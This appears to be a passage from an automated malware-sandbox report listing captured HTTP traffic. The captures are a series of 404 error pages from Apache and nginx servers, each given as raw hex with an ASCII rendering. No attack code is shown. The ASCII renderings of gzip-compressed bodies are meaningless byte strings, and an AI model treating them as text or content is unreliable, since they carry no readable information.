0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 29 Nov 2022 09:35:21 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R|V}cplxXU*!6pBNI+MteRFSYj[7|QqY3k|G;,^{NPPouvw2O7.e(O~Nt^,G|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 29 Nov 2022 09:35:24 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R|V}cplxXU*!6pBNI+MteRFSYj[7|QqY3k|G;,^{NPPouvw2O7.e(O~Nt^,G|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 626Connection: closeDate: Tue, 29 Nov 2022 09:35:26 GMTServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 63 61 6e 27 74 20 66 69 6e 64 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 20 63 6f 72 72 65 73 70 6f 6e 64 69 6e 67 20 74 6f 20 74 68 65 20 55 52 4c 20 79 6f 75 20 74 79 70 65 64 20 69 6e 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Nov 2022 09:35:42 GMTServer: ApacheContent-Length: 570Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Nov 2022 09:35:45 GMTServer: ApacheContent-Length: 570Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Nov 2022 09:35:47 GMTServer: ApacheContent-Length: 570Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 29 Nov 2022 09:35:52 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 02 Jan 2018 12:36:34 GMTETag: W/"6b40108-56e-561ca595b5880"Content-Encoding: gzipData Raw: 33 30 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 54 cd 8e d3 48 10 be e7 29 0a 5f b8 4c e2 84 24 fc ad 13 09 06 d0 8c b4 c0 81 e1 c0 b1 d3 2e c7 cd b4 dd a6 bb 3c 1e bf 23 97 7d 00 24 0b 88 14 10 19 cd 44 62 f7 ba d5 76 82 34 ec 68 b9 70 b0 e2 b6 ea fb ab aa 4e 74 74 f2 fc cf 79 74 f4 f4 d1 93 79 2f 22 45 1a e7 93 e1 04 5e 18 82 67 a6 cc 63 e8 c3 5f db cb 66 b3 fe bb 81 cd 0a 36 cd 97 cf ab 4d 13 85 5d 69 2f ca 90 04 a4 44 45 1f df 95 ea 6c 16 1c 9a 9c 30 a7 fe 49 5d 60 00 b2 3b cd 02 c2 73 0a 53 ca f4 1f 20 53 61 1d d2 ac 52 79 6c 2a d7 1f dd 99 8e 02 a6 d2 2a 3f 05 8b 7a 16 28 86 05 90 5a 4c 66 41 98 88 33 7f 9e 4e c7 77 13 f9 60 3c 19 e3 03 b1 18 0a 29 86 f7 46 e3 e9 64 78 7f 12 c7 63 29 07 5c 14 00 b1 2a e3 33 b1 c4 f0 bc df f1 84 d7 b8 5d 6a 2c c9 92 e0 f7 8b 84 bb 36 3e 7e f9 e4 0d ff 48 0e 8e 96 5f c4 4e c5 b7 c9 3d 0c c3 4c a6 c6 d1 c0 96 61 30 8f 54 b6 04 67 25 7b c8 a4 36 4b f3 4b 0b 6f 8b 65 00 42 73 4f df 37 5f bf 5f 5c 6d 03 58 18 1b a3 9d 05 43 e6 0b c5 3c 5a d8 f6 e9 45 47 a3 eb d3 f4 5f 0f 6f 1a 27 17 b6 88 0f db 06 ae f6 05 57 9f 56 9b d5 e5 fa f2 e2 63 b3 69 a0 f9 b8 bd f8 d6 6c d7 ff ac ae be ae e1 7f 43 79 57 eb cd a7 8b 6f b0 b3 e8 5d 71 7f 76 8d 09 db a5 eb 45 b7 fa fd 1e 00 6f d8 eb 3c e1 a1 94 b9 20 d4 f5 01 3c 57 d2 1a 67 12 82 54 38 10 71 8c 31 08 90 1a cf d0 42 8e 55 07 0a 12 14 54 5a 5e 32 32 70 ec 5b 9d 23 c1 d3 f3 42 1b 8b 76 00 c7 09 50 8a e0 17 0f 4c d2 61 44 0e 68 ad b1 b7 1d 64 e8 1c 0f 10 94 83 80 8c 01 97 09 ad 83 03 70 05 4a 95 28 c9 a7 ba 03 69 ae 64 2a c6 4e 47 77 60 51 13 ba 83 ff 0a f2 76 b1 9b dc 75 18 45 0e 4c b5 53 db 6b 0d e0 8d 29 41 32 91 af f4 94 de 59 72 d0 41 16 7e 27 89 9d 15 cc 44 35 90 55 f2 b4 f6 e1 12 be 28 e0 2a 45 32 05 ef 0b e3 5d 07 d8 b3 a5 eb 1a 2e 18 c0 89 27 ce 50 e4 ec d3 24 7c 07 4b be 6f 3b 95 56 b4 bd 03 3f e1 40 58 04 5e 59 c7 61 62 4e 09 31 26 a2 d4 34 e8 70 c7 c7 af 78 e9 2a 51 bb 7d d0 9f f1 2d b3 27 d1 26 5f 76 20 cc 4d b9 4c 7d 84 4c 9c e2 0d 3d 4b 45 51 d4 de 30 76 80 ca d8 53 61 db ff 1d f5 a3 11 4e 65 85 c6 87 50 88 b8 9d 68 ab db d5 ef 87 c8 bd 49 79 45 16 6a c9 69 b3 8c 2f 1e 68 c5 8a 94 32 0d cb 17 a5 4b b9 b9 1d c8 f8 35 f2 44 89 3a 43 48 59 cc 27 16 ac 49 15 6a fe d4 8e 18 32 95 ab ac cc 76 f9 5f fe e8 63 1b 94 c7 84 e7 42 92 ae a1 f2 b9 6b 53 de e6 e8 16 45 ac f6 e9 ad 5a a6 04 b9 a9 3a 8a fe bc f7 2f 4f 20 91 d7 6e 05 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 309TH)_L$.<#}$Dbv4hpNttyty/"E^gc_f6M]i/DEl0I]`;sS SaRyl**?z(ZLfA3Nw`<)Fdxc)\*3]j,6>~H_N=La0Tg%{6KKoeBsO7__\mXC<Z
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 29 Nov 2022 09:35:54 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 02 Jan 2018 12:36:34 GMTETag: W/"6b40108-56e-561ca595b5880"Content-Encoding: gzipData Raw: 33 30 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 54 cd 8e d3 48 10 be e7 29 0a 5f b8 4c e2 84 24 fc ad 13 09 06 d0 8c b4 c0 81 e1 c0 b1 d3 2e c7 cd b4 dd a6 bb 3c 1e bf 23 97 7d 00 24 0b 88 14 10 19 cd 44 62 f7 ba d5 76 82 34 ec 68 b9 70 b0 e2 b6 ea fb ab aa 4e 74 74 f2 fc cf 79 74 f4 f4 d1 93 79 2f 22 45 1a e7 93 e1 04 5e 18 82 67 a6 cc 63 e8 c3 5f db cb 66 b3 fe bb 81 cd 0a 36 cd 97 cf ab 4d 13 85 5d 69 2f ca 90 04 a4 44 45 1f df 95 ea 6c 16 1c 9a 9c 30 a7 fe 49 5d 60 00 b2 3b cd 02 c2 73 0a 53 ca f4 1f 20 53 61 1d d2 ac 52 79 6c 2a d7 1f dd 99 8e 02 a6 d2 2a 3f 05 8b 7a 16 28 86 05 90 5a 4c 66 41 98 88 33 7f 9e 4e c7 77 13 f9 60 3c 19 e3 03 b1 18 0a 29 86 f7 46 e3 e9 64 78 7f 12 c7 63 29 07 5c 14 00 b1 2a e3 33 b1 c4 f0 bc df f1 84 d7 b8 5d 6a 2c c9 92 e0 f7 8b 84 bb 36 3e 7e f9 e4 0d ff 48 0e 8e 96 5f c4 4e c5 b7 c9 3d 0c c3 4c a6 c6 d1 c0 96 61 30 8f 54 b6 04 67 25 7b c8 a4 36 4b f3 4b 0b 6f 8b 65 00 42 73 4f df 37 5f bf 5f 5c 6d 03 58 18 1b a3 9d 05 43 e6 0b c5 3c 5a d8 f6 e9 45 47 a3 eb d3 f4 5f 0f 6f 1a 27 17 b6 88 0f db 06 ae f6 05 57 9f 56 9b d5 e5 fa f2 e2 63 b3 69 a0 f9 b8 bd f8 d6 6c d7 ff ac ae be ae e1 7f 43 79 57 eb cd a7 8b 6f b0 b3 e8 5d 71 7f 76 8d 09 db a5 eb 45 b7 fa fd 1e 00 6f d8 eb 3c e1 a1 94 b9 20 d4 f5 01 3c 57 d2 1a 67 12 82 54 38 10 71 8c 31 08 90 1a cf d0 42 8e 55 07 0a 12 14 54 5a 5e 32 32 70 ec 5b 9d 23 c1 d3 f3 42 1b 8b 76 00 c7 09 50 8a e0 17 0f 4c d2 61 44 0e 68 ad b1 b7 1d 64 e8 1c 0f 10 94 83 80 8c 01 97 09 ad 83 03 70 05 4a 95 28 c9 a7 ba 03 69 ae 64 2a c6 4e 47 77 60 51 13 ba 83 ff 0a f2 76 b1 9b dc 75 18 45 0e 4c b5 53 db 6b 0d e0 8d 29 41 32 91 af f4 94 de 59 72 d0 41 16 7e 27 89 9d 15 cc 44 35 90 55 f2 b4 f6 e1 12 be 28 e0 2a 45 32 05 ef 0b e3 5d 07 d8 b3 a5 eb 1a 2e 18 c0 89 27 ce 50 e4 ec d3 24 7c 07 4b be 6f 3b 95 56 b4 bd 03 3f e1 40 58 04 5e 59 c7 61 62 4e 09 31 26 a2 d4 34 e8 70 